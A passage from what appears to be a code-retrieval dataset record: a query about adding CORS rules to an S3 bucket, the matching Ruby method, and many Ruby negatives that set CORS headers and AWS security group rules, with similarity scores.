"def setRules(rules, add_to_self: false, ingress: true, egress: false)\n return if rules.nil? or rules.size == 0\n\n if add_to_self\n rules.each { |rule|\n if rule['sgs'].nil?\n new_rule = rule.clone\n new_rule.delete('hosts')\n rule['sgs'] = Array.new if rule['sgs'].nil?\n rule['sgs'] << { \"Ref\" => @cfm_name }\n end\n }\n end\n\n ec2_rules = convertToEc2(rules)\n\n # Creating an empty security group is ok, so don't freak out if we get\n # a null rule list.\n if !ec2_rules.nil?\n ec2_rules.each { |rule|\n next if rule.nil? or rule[:ip_ranges].nil? # XXX whaaat\n rule[:ip_ranges].each { |cidr|\n MU::Cloud::CloudFormation.setCloudFormationProp(\n @cfm_template[@cfm_name],\n \"SecurityGroupIngress\",\n {\n \"IpProtocol\" => rule[:ip_protocol],\n \"FromPort\" => rule[:from_port],\n \"ToPort\" => rule[:to_port],\n \"CidrIp\" => cidr[:cidr_ip]\n }\n )\n }\n }\n end\n\n end",
"def apply_custom_rules\n self.json_data = Ocr::CustomRules.new(json_data).apply_all\n end"
] |
[
"0.70802253",
"0.6572307",
"0.6097518",
"0.60075957",
"0.60075957",
"0.60075957",
"0.6005232",
"0.6005232",
"0.59778595",
"0.58880824",
"0.5879022",
"0.5877326",
"0.5834417",
"0.5806228",
"0.57988816",
"0.5797561",
"0.5780403",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775429",
"0.5775357",
"0.57741797",
"0.57741797",
"0.57741797",
"0.57691604",
"0.5759212",
"0.57478637",
"0.5715812",
"0.57157665",
"0.56968486",
"0.5687691",
"0.56767845",
"0.5651335",
"0.5651335",
"0.56361",
"0.5634536",
"0.56332415",
"0.56203836",
"0.56155306",
"0.56155306",
"0.56155306",
"0.55938697",
"0.5569841",
"0.55555844",
"0.55513424",
"0.5505637",
"0.54841137",
"0.54841137",
"0.54841137",
"0.5472708",
"0.5465135",
"0.545611",
"0.5454002",
"0.5454002",
"0.5451313",
"0.54475766",
"0.5444831",
"0.54447126",
"0.54233456",
"0.54233456",
"0.5422544",
"0.54116815",
"0.54095954",
"0.53607905",
"0.5353605",
"0.5345355",
"0.5328517",
"0.53058475",
"0.52846104",
"0.5278718",
"0.5266742",
"0.52569795",
"0.52107745",
"0.5194646",
"0.51705426",
"0.51687616",
"0.5159618",
"0.5159618",
"0.513074",
"0.5099475",
"0.5094902",
"0.5094388",
"0.5090669"
] |
0.8100972
|
0
|
Add one or more CORS rules to this bucket. adding a single rule as a hash bucket.cors.add( :allowed_methods => %w(GET HEAD), :allowed_origins => %w(), :max_age_seconds => 3600) You can add multiple rules in a single call: each rule may be a hash, CORSRule or a CORSRuleCollection, bucket.cors.add(rules) alternatively you can pass a list of rules bucket.cors.add(rule1, rule2, ...)
|
def add *rules
self.set(self, *rules)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set *rules\n\n raise ArgumentError, 'expected one or more rules' if rules.empty?\n\n if rules == [[]]\n self.clear\n else\n rules = rule_hashes(rules)\n client.put_bucket_cors(:bucket_name => bucket.name, :rules => rules)\n end\n\n nil\n\n end",
"def set_cors(allowed_methods, allowed_origins)\n @bucket_cors.put(\n cors_configuration: {\n cors_rules: [\n {\n allowed_methods: allowed_methods,\n allowed_origins: allowed_origins,\n allowed_headers: %w[*],\n max_age_seconds: 3600\n }\n ]\n }\n )\n true\n rescue Aws::Errors::ServiceError => e\n puts \"Couldn't set CORS rules for #{@bucket_cors.bucket.name}. Here's why: #{e.message}\"\n false\n end",
"def bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods = %w[GET PUT POST DELETE HEAD],\r\n allowed_origins = %w[*],\r\n allowed_headers = nil,\r\n expose_headers = nil,\r\n max_age_seconds = nil\r\n)\r\n methods = []\r\n if allowed_methods.count.zero?\r\n puts 'Error: No CORS methods provided.'\r\n return false\r\n else\r\n allowed_methods.each do |method|\r\n case method.upcase\r\n when 'GET', 'PUT', 'POST', 'DELETE', 'HEAD'\r\n methods.append(method)\r\n else\r\n puts \"Error: '#{method}' is not an allowed CORS method.\"\r\n return false\r\n end\r\n end\r\n end\r\n s3_client.put_bucket_cors(\r\n bucket: bucket_name,\r\n cors_configuration: {\r\n cors_rules: [\r\n {\r\n allowed_headers: allowed_headers,\r\n allowed_methods: methods,\r\n allowed_origins: allowed_origins,\r\n expose_headers: expose_headers,\r\n max_age_seconds: max_age_seconds\r\n }\r\n ]\r\n }\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error setting CORS methods: #{e.message}\"\r\n return false\r\nend",
"def append_cors_operation!(operations)\n cors_enabled_ops = operations.select(&:cors)\n return if cors_enabled_ops.none?\n operations << cors_operation(operations.first.path, (cors_enabled_ops.map(&:cors_method) << 'OPTIONS').sort)\n end",
"def bucket_cors_rules(s3_client, bucket_name)\r\n response = s3_client.get_bucket_cors(bucket: bucket_name)\r\n response.cors_rules\r\nrescue StandardError => e\r\n puts \"Error getting CORS rules: #{e.message}\"\r\nend",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def added_cors\n (@local.cors || []) - @aws.cors.rules\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def add_rules(rules)\n rules.each do |rule|\n add_rule rule\n end\n end",
"def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def add_cors_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Max-Age'] = \"1728000\"\r\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def add_rules(rules)\n options = {request: []}\n rules.each do |rule|\n options[:request] << rule.attributes\n end\n response = nil\n if @parent.class == Profitbricks::LoadBalancer\n response = Profitbricks.request :add_firewall_rules_to_load_balancer, options.merge(load_balancer_id: @parent.id)\n self.reload\n else\n response = Profitbricks.request :add_firewall_rules_to_nic, options.merge(nic_id: self.nic_id)\n self.reload\n end\n \n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n log_origin_access # TODO: Disable logging for GoLive. Log only requests for api-clients #41\n headers['Access-Control-Allow-Origin'] = allowed_client_origins\n headers['Access-Control-Allow-Methods'] = allowed_client_methods\n headers['Access-Control-Allow-Headers'] = allowed_headers\n headers['Access-Control-Max-Age'] = allowed_max_age\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST,GET,OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\t end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n end",
"def cors_set_access_control_headers\n\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n\t\theaders['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n \t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \t \theaders['Access-Control-Allow-Headers'] = '*'\n \t\theaders['Access-Control-Request-Method'] = '*',\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*' \n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS, PATCH'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization' \n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Headers'] = \"Content-Type\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token, Access-Token, locale, authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n # headers['Access-Control-Allow-Origin'] = 'http://' + request.host\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = \"Overwrite, Destination, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, Content-Length, Accept, Accept-Charset, Accept-Encoding, Referer\";\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization, Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n allowed_methods = %w[GET PUT POST DELETE]\r\n allowed_origins = %w[http://www.example.com]\r\n allowed_headers = %w[*]\r\n expose_headers = %w[x-amz-server-side-encryption x-amz-request-id x-amz-id-2]\r\n max_age_seconds = 3000\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if bucket_cors_rule_set?(\r\n s3_client,\r\n bucket_name,\r\n allowed_methods,\r\n allowed_origins,\r\n allowed_headers,\r\n expose_headers,\r\n max_age_seconds\r\n )\r\n puts 'CORS rule set. Current rules:'\r\n puts bucket_cors_rules(s3_client, bucket_name)\r\n else\r\n puts 'CORS rule not set.'\r\n end\r\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Expose-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization, X-CSRF-Token'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With auth_token X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def addRule(hosts,\n proto: \"tcp\",\n port: nil,\n egress: false,\n port_range: \"0-65535\"\n )\n rule = Hash.new\n rule[\"proto\"] = proto\n if hosts.is_a?(String)\n rule[\"hosts\"] = [hosts]\n else\n rule[\"hosts\"] = hosts\n end\n if port != nil\n port = port.to_s if !port.is_a?(String)\n rule[\"port\"] = port\n else\n rule[\"port_range\"] = port_range\n end\n ec2_rule = convertToEc2([rule])\n\n begin\n if egress\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_egress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n else\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_ingress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n end\n rescue Aws::EC2::Errors::InvalidPermissionDuplicate => e\n MU.log \"Attempt to add duplicate rule to #{@cloud_id}\", MU::DEBUG, details: ec2_rule\n end\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = %w(GET POST OPTIONS).join(',')\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Request-Method'] = %w{GET POST OPTIONS}.join(\",\")\n end",
"def cors\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'OPTIONS, POST, DELETE, GET, PUT'\n\t headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept'\n\t headers['Access-Control-Max-Age'] = '1728000'\n\tend",
"def cors_set_access_control_headers\n \nheaders['Access-Control-Allow-Origin'] = '*'\n \nheaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \nend",
"def setRules(rules, add_to_self: false, ingress: true, egress: false)\n return if rules.nil? or rules.size == 0\n\n if add_to_self\n rules.each { |rule|\n if rule['sgs'].nil?\n new_rule = rule.clone\n new_rule.delete('hosts')\n rule['sgs'] = Array.new if rule['sgs'].nil?\n rule['sgs'] << { \"Ref\" => @cfm_name }\n end\n }\n end\n\n ec2_rules = convertToEc2(rules)\n\n # Creating an empty security group is ok, so don't freak out if we get\n # a null rule list.\n if !ec2_rules.nil?\n ec2_rules.each { |rule|\n next if rule.nil? or rule[:ip_ranges].nil? # XXX whaaat\n rule[:ip_ranges].each { |cidr|\n MU::Cloud::CloudFormation.setCloudFormationProp(\n @cfm_template[@cfm_name],\n \"SecurityGroupIngress\",\n {\n \"IpProtocol\" => rule[:ip_protocol],\n \"FromPort\" => rule[:from_port],\n \"ToPort\" => rule[:to_port],\n \"CidrIp\" => cidr[:cidr_ip]\n }\n )\n }\n }\n end\n\n end",
"def add_rule request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"def put_bucket_cors(bucket_name, cors)\n data = Fog::AWS::Storage.hash_to_cors(cors)\n\n headers = {}\n headers['Content-MD5'] = Base64.encode64(OpenSSL::Digest::MD5.digest(data)).strip\n headers['Content-Type'] = 'application/json'\n headers['Date'] = Fog::Time.now.to_date_header\n\n request({\n :body => data,\n :expects => 200,\n :headers => headers,\n :bucket_name => bucket_name,\n :method => 'PUT',\n :query => {'cors' => nil}\n })\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Headers'] = \"X-Requested-With,Content-Type,Accept,Origin\"\n headers['Access-Control-Expose-Headers'] = \"Location\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
